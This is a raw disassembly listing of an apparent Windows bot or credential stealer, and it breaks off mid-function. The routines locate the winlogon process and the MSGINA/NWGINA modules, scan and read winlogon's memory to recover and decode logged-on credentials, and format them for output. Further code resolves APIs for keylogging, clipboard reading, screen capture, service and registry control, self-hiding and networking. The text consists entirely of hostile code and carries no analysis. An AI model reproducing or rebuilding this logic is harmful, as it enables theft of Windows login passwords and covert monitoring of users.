sub_40904E	proc near		; CODE XREF: sub_408E7C+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4230EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_4230E8
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43E7D4
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4230E4	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43E7D4
		test	eax, eax
		jnz	short loc_40913B
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_40913B
		xor	ecx, ecx
		mov	ebx, ebp
		inc	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_40913B

loc_4090D7:				; CODE XREF: sub_40904E+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_40912E
		push	0
		push	0
		call	dword_43E7C8
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43E9D8
		test	eax, eax
		jnz	short loc_40911F
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_418D63
		pop	ecx
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409153

loc_40911F:				; CODE XREF: sub_40904E+AAj
		test	edi, edi
		jz	short loc_40912A
		push	edi
		call	dword_43E7D0

loc_40912A:				; CODE XREF: sub_40904E+D3j
		mov	eax, [esp+28h+var_10]

loc_40912E:				; CODE XREF: sub_40904E+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_4090D7

loc_40913B:				; CODE XREF: sub_40904E+6Dj
					; sub_40904E+7Aj ...
		xor	edi, edi

loc_40913D:				; CODE XREF: sub_40904E+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4230E4	; RtlFreeHeap
		mov	eax, edi

loc_40914B:				; CODE XREF: sub_40904E+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_409153:				; CODE XREF: sub_40904E+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_4091BC
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_409169:				; CODE XREF: sub_40904E+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_418D63
		pop	ecx
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4091D0
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_418D63
		pop	ecx
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4091AE
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_4091AE:				; CODE XREF: sub_40904E+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409169

loc_4091BC:				; CODE XREF: sub_40904E+10Fj
		test	edi, edi
		jz	short loc_4091C7
		push	edi
		call	dword_43E7D0

loc_4091C7:				; CODE XREF: sub_40904E+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_40913D
; ---------------------------------------------------------------------------

loc_4091D0:				; CODE XREF: sub_40904E+13Cj
		xor	eax, eax
		jmp	loc_40914B
sub_40904E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091D7	proc near		; CODE XREF: sub_408E7C+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	dword_4230FC	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_409200
		xor	eax, eax
		jmp	loc_409378
; ---------------------------------------------------------------------------

loc_409200:				; CODE XREF: sub_4091D7+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_4230F8	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4230EC
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_4230E8
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4230F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_409250
		xor	esi, esi
		jmp	loc_40936B
; ---------------------------------------------------------------------------

loc_409250:				; CODE XREF: sub_4091D7+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	dword_4230F0	; VirtualQueryEx
		test	eax, eax
		jz	loc_40935A
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_40935A
		test	[ebp+var_2B], 1
		jnz	loc_40935A
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_40935A

loc_4092B3:				; CODE XREF: sub_4091D7+110j
		push	edi
		push	offset dword_43D7C8
		call	sub_422752
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4092DB
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43DFC8
		call	sub_422752
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4092EB

loc_4092DB:				; CODE XREF: sub_4091D7+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jb	short loc_4092B3
		jmp	short loc_40935A
; ---------------------------------------------------------------------------

loc_4092EB:				; CODE XREF: sub_4091D7+102j
		test	edi, edi
		jz	short loc_40935A
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	dword_4230B4	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_409326
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4230B0	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_409326
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_409326:				; CODE XREF: sub_4091D7+12Bj
					; sub_4091D7+13Dj
		movzx	eax, byte ptr [edi+42Dh]
		mov	dword_43E9E8, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43E9E0, eax
		mov	dword_43E9E4, edi

loc_40935A:				; CODE XREF: sub_4091D7+90j
					; sub_4091D7+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4230E4	; RtlFreeHeap
		mov	esi, [ebp+var_10]

loc_40936B:				; CODE XREF: sub_4091D7+74j
		push	[ebp+var_4]
		call	dword_423078	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx

loc_409378:				; CODE XREF: sub_4091D7+24j
		pop	esi
		leave
		retn
sub_4091D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40937B	proc near		; CODE XREF: sub_408E7C:loc_408F74p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	[ebp+arg_0]
		push	0
		push	410h
		call	dword_4230FC	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_40939A
		leave
		retn
; ---------------------------------------------------------------------------

loc_40939A:				; CODE XREF: sub_40937B+1Bj
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_4230F8	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409462
		mov	edi, dword_4230EC

loc_4093C4:				; CODE XREF: sub_40937B+E1j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_4230F0	; VirtualQueryEx
		test	eax, eax
		jz	short loc_409450
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409456
		test	[ebp+var_13], 1
		jnz	short loc_409456
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	dword_4230E8	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	dword_4230F4	; ReadProcessMemory
		test	eax, eax
		jz	short loc_409442
		push	offset dword_43D7C8
		push	esi
		call	sub_422752
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409442
		lea	eax, [esi+400h]
		push	offset dword_43DFC8
		push	eax
		call	sub_422752
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409474

loc_409442:				; CODE XREF: sub_40937B+9Dj
					; sub_40937B+AEj
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	dword_4230E4	; RtlFreeHeap
		jmp	short loc_409456
; ---------------------------------------------------------------------------

loc_409450:				; CODE XREF: sub_40937B+5Bj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_409456:				; CODE XREF: sub_40937B+6Fj
					; sub_40937B+75j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_4093C4

loc_409462:				; CODE XREF: sub_40937B+3Dj
		xor	esi, esi

loc_409464:				; CODE XREF: sub_40937B+12Bj
		push	[ebp+arg_0]
		call	dword_423078	; CloseHandle
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_409474:				; CODE XREF: sub_40937B+C5j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43E9E0, ebx
		mov	dword_43E9E4, eax
		cmp	[eax], cl
		jnz	short loc_409496
		cmp	[eax+1], cl
		jz	short loc_40949E

loc_409496:				; CODE XREF: sub_40937B+114j
					; sub_40937B+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409496

loc_40949E:				; CODE XREF: sub_40937B+119j
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		inc	esi
		mov	[eax], ecx
		jmp	short loc_409464
sub_40937B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094A8	proc near		; CODE XREF: sub_408E7C+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43E9DC
		push	esi
		mov	esi, dword_4230EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4230E8	; RtlAllocateHeap
		mov	ecx, dword_43E9DC
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43E9E4
		push	eax
		call	sub_417090
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43E9E8
		push	eax
		call	dword_43E7CC
		push	[ebp+var_4]
		mov	edi, offset dword_43E7D8
		push	offset dword_43D7C8
		push	offset dword_43DFC8
		push	[ebp+arg_0]
		push	offset dword_42BFA8
		push	200h
		push	edi
		call	sub_41752A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4230E4	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4094A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40953F	proc near		; CODE XREF: sub_408E7C:loc_408FB8p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43E9DC
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	dword_4230EC	; GetProcessHeap
		push	eax
		call	dword_4230E8	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43DFC8
		mov	edi, 200h
		mov	esi, offset dword_43D5C8

loc_409585:				; CODE XREF: sub_40953F+FAj
		mov	eax, dword_43E9DC
		add	eax, eax
		push	eax
		push	dword_43E9E4
		push	[ebp+var_14]
		call	sub_417090
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43E7CC
		mov	eax, dword_43E9DC
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4095FA

loc_4095C2:				; CODE XREF: sub_40953F+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_409617
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4095E6
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4095E6
		cmp	dl, 20h
		jnb	short loc_4095E0
		and	[ebp+var_8], 0

loc_4095E0:				; CODE XREF: sub_40953F+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4095EA

loc_4095E6:				; CODE XREF: sub_40953F+90j
					; sub_40953F+96j
		and	[ebp+var_8], 0

loc_4095EA:				; CODE XREF: sub_40953F+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_4095C2
		cmp	[ebp+var_8], 0
		jz	short loc_409617

loc_4095FA:				; CODE XREF: sub_40953F+81j
		push	[ebp+var_14]
		push	offset dword_43D7C8
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_42BFA8
		push	edi
		push	esi
		call	sub_41752A
		add	esp, 1Ch
		jmp	short loc_40962F
; ---------------------------------------------------------------------------

loc_409617:				; CODE XREF: sub_40953F+87j
					; sub_40953F+B9j
		push	offset dword_43D7C8
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_42C020
		push	edi
		push	esi
		call	sub_41752A
		add	esp, 18h

loc_40962F:				; CODE XREF: sub_40953F+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_409585
		push	[ebp+var_14]
		push	0
		call	dword_4230EC	; GetProcessHeap
		push	eax
		call	dword_4230E4	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40953F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409658	proc near		; CODE XREF: sub_40E48A+48p
		push	ebx
		push	ebp
		mov	ebp, dword_423100
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4230DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409778
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43EBD0, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43EB44, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43EB28, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43EA44, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43E9F0, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43EA20, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43EA94, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43EB84, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43EBDC, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43EA50, eax
		call	esi	; GetProcAddress
		cmp	dword_43EBD0, ebx
		mov	dword_43EA38, eax
		jz	short loc_409756
		cmp	dword_43EB44, ebx
		jz	short loc_409756
		cmp	dword_43EB28, ebx
		jz	short loc_409756
		cmp	dword_43EA44, ebx
		jz	short loc_409756
		cmp	dword_43EA20, ebx
		jz	short loc_409756
		cmp	dword_43EA94, ebx
		jz	short loc_409756
		cmp	dword_43EB84, ebx
		jz	short loc_409756
		cmp	dword_43EBDC, ebx
		jz	short loc_409756
		cmp	dword_43EA50, ebx
		jz	short loc_409756
		cmp	eax, ebx
		jnz	short loc_409760

loc_409756:				; CODE XREF: sub_409658+B8j
					; sub_409658+C0j ...
		mov	dword_43EBE0, 1

loc_409760:				; CODE XREF: sub_409658+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43EB5C, eax
		jz	short loc_40978D
		push	1
		push	ebx
		call	eax
		jmp	short loc_40978D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_409658+1Dj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EBE4, eax
		mov	dword_43EBE0, 1

loc_40978D:				; CODE XREF: sub_409658+117j
					; sub_409658+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4230E0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4098A2
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43EB80, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43EB30, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43EAC4, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43EBD4, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43EAF4, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43EB14, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43EB78, eax
		call	esi	; GetProcAddress
		cmp	dword_43EB80, ebx
		mov	dword_43EA6C, eax
		jz	short loc_409846
		cmp	dword_43EB30, ebx
		jz	short loc_409846
		cmp	dword_43EAC4, ebx
		jz	short loc_409846
		cmp	dword_43EBD4, ebx
		jz	short loc_409846
		cmp	dword_43EAF4, ebx
		jz	short loc_409846
		cmp	dword_43EB14, ebx
		jz	short loc_409846
		cmp	dword_43EB78, ebx
		jz	short loc_409846
		cmp	eax, ebx
		jnz	short loc_409850

loc_409846:				; CODE XREF: sub_409658+1B8j
					; sub_409658+1C0j ...
		mov	dword_43EBE8, 1

loc_409850:				; CODE XREF: sub_409658+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43EAF0, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43EA04, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43EAC0, eax
		call	esi	; GetProcAddress
		cmp	dword_43EAF0, ebx
		mov	dword_43EAAC, eax
		jz	short loc_4098AD
		cmp	dword_43EA04, ebx
		jz	short loc_4098AD
		cmp	dword_43EAC0, ebx
		jz	short loc_4098AD
		cmp	eax, ebx
		jnz	short loc_4098B7
		jmp	short loc_4098AD
; ---------------------------------------------------------------------------

loc_4098A2:				; CODE XREF: sub_409658+144j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EBEC, eax

loc_4098AD:				; CODE XREF: sub_409658+232j
					; sub_409658+23Aj ...
		mov	dword_43EBE8, 1

loc_4098B7:				; CODE XREF: sub_409658+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A52
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43EB94, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43EAD8, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43EB48, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43EA30, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43EA90, eax
		call	esi	; GetProcAddress
		cmp	dword_43EB94, ebx
		mov	dword_43EB00, eax
		jz	short loc_409942
		cmp	dword_43EAD8, ebx
		jz	short loc_409942
		cmp	dword_43EB48, ebx
		jz	short loc_409942
		cmp	dword_43EA30, ebx
		jz	short loc_409942
		cmp	dword_43EA90, ebx
		jz	short loc_409942
		cmp	eax, ebx
		jnz	short loc_40994C

loc_409942:				; CODE XREF: sub_409658+2C4j
					; sub_409658+2CCj ...
		mov	dword_43EBF0, 1

loc_40994C:				; CODE XREF: sub_409658+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43EB08, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43EAE0, eax
		call	esi	; GetProcAddress
		cmp	dword_43EB08, ebx
		mov	dword_43EB90, eax
		jz	short loc_409987
		cmp	dword_43EAE0, ebx
		jz	short loc_409987
		cmp	eax, ebx
		jnz	short loc_409991

loc_409987:				; CODE XREF: sub_409658+321j
					; sub_409658+329j
		mov	dword_43EBF0, 1

loc_409991:				; CODE XREF: sub_409658+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43EB18, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43EA0C, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43EA14, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43EA74, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43EA78, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43EA28, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43EAE4, eax
		call	esi	; GetProcAddress
		cmp	dword_43EB18, ebx
		mov	dword_43EA18, eax
		jz	short loc_409A35
		cmp	dword_43EA0C, ebx
		jz	short loc_409A35
		cmp	dword_43EA14, ebx
		jz	short loc_409A35
		cmp	dword_43EA74, ebx
		jz	short loc_409A35
		cmp	dword_43EA78, ebx
		jz	short loc_409A35
		cmp	dword_43EA28, ebx
		jz	short loc_409A35
		cmp	dword_43EAE4, ebx
		jz	short loc_409A35
		cmp	eax, ebx
		jnz	short loc_409A3F

loc_409A35:				; CODE XREF: sub_409658+3A7j
					; sub_409658+3AFj ...
		mov	dword_43EBF0, 1

loc_409A3F:				; CODE XREF: sub_409658+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43EA10, eax
		jnz	short loc_409A67
		jmp	short loc_409A5D
; ---------------------------------------------------------------------------

loc_409A52:				; CODE XREF: sub_409658+26Aj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EBF4, eax

loc_409A5D:				; CODE XREF: sub_409658+3F8j
		mov	dword_43EBF0, 1

loc_409A67:				; CODE XREF: sub_409658+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B33
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43EB10, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43EB68, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43EB70, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43EB2C, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43EA54, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43EA00, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43EB6C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43E9EC, eax
		call	esi	; GetProcAddress
		cmp	dword_43EB10, ebx
		mov	dword_43EA88, eax
		jz	short loc_409B3E
		cmp	dword_43EB68, ebx
		jz	short loc_409B3E
		cmp	dword_43EB70, ebx
		jz	short loc_409B3E
		cmp	dword_43EB2C, ebx
		jz	short loc_409B3E
		cmp	dword_43EA54, ebx
		jz	short loc_409B3E
		cmp	dword_43EA00, ebx
		jz	short loc_409B3E
		cmp	dword_43EB6C, ebx
		jz	short loc_409B3E
		cmp	dword_43E9EC, ebx
		jz	short loc_409B3E
		cmp	eax, ebx
		jnz	short loc_409B48
		jmp	short loc_409B3E
; ---------------------------------------------------------------------------

loc_409B33:				; CODE XREF: sub_409658+41Aj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_43EBFC, eax

loc_409B3E:				; CODE XREF: sub_409658+49Bj
					; sub_409658+4A3j ...
		mov	dword_43EBF8, 1

loc_409B48:				; CODE XREF: sub_409658+4D7j
		mov	ebp, dword_4230E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
